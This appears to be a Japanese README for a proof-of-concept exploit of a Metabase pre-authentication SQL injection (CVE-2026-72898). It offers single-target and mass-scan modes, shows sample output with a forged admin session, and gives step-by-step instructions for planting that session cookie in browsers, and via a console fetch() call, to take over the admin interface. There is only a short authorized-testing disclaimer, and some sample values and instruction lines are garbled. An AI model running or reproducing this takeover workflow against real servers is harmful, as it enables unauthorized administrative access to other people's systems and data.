
CVE-2026-72898の概念実証(PoC)エクスプロイトです。Metabaseのパスワードリセットエンドポイントに存在する未認証のSQLインジェクションを悪用し、管理者セッションを偽造して完全な乗っ取りを実現します。認可されたテスト向けに、単一ターゲットモードとマススキャンモードを備えています。
Metabase 事前認証SQLインジェクションによる管理者乗っ取り
CVE-2026-72898(Metabase のパスワードリセットエンドポイントにおける重大な未認証SQLインジェクション)の概念実証です。このPoCは、偽造した管理者セッションの行を core_session テーブルに注入し、その行を使って資格情報を一切使わずに完全な管理者セッションを検証します。
注記: このPoCは、許可されたセキュリティテストおよび研究専用です。CVE-2026-72898 は CISA Known Exploited Vulnerabilities (KEV) カタログに掲載されており、実際に悪用が確認されています。システムをテストする前に、適用されるすべての法律を遵守し、書面による許可を取得する責任はあなたにあります。
requests ライブラリ依存関係のインストール:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
ステップ2で Invalid reset token による 400 が返るのは想定どおりです。これはSQLiペイロードが実行され、レスポンスが短絡されたことを意味します。ステップ3で /api/user/current が 200 を返せば、偽造セッションが有効であることが確認できます。
結果ステータス: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase は metabase.SESSION クッキーからセッションを読み取るため、そのクッキーを追加することで偽造管理者としてWeb UIにログインできます:
Google Chrome / Edge / Chromium
session id をコピーしますhttp://TARGET/ を開き、F12(DevTools)を押しますmetabase.SESSION<SESSION_ID>(PoCが出力した値)192.168.1.1 または .example.com)/Firefox
session id をコピーしますF12 → Storage タブ → Cookies → ターゲットホストを選択しますmetabase.SESSION<SESSION_ID>/代替: Cookieエディタ拡張機能
任意のCookie編集拡張機能(例: Cookie-Editor)を使用して、ターゲットドメインに偽造した値を持つ metabase.SESSION クッキーを追加し、その後更新します。
ブラウザコンソールから
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password をブロックするこのプロジェクトが役立ったなら、開発の支援を検討してください:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| 引数 | 説明 | デフォルト |
|---|
-t, --target | 単一ターゲットのURL | - |
-T, --targets | ターゲットURLを1行に1つずつ含むファイル | - |
-o, --output | 結果ファイル(タブ区切り: ターゲット、結果、ステータス、session_id、admin_email) | - |
--timeout | リクエストのタイムアウト(秒) | 15 |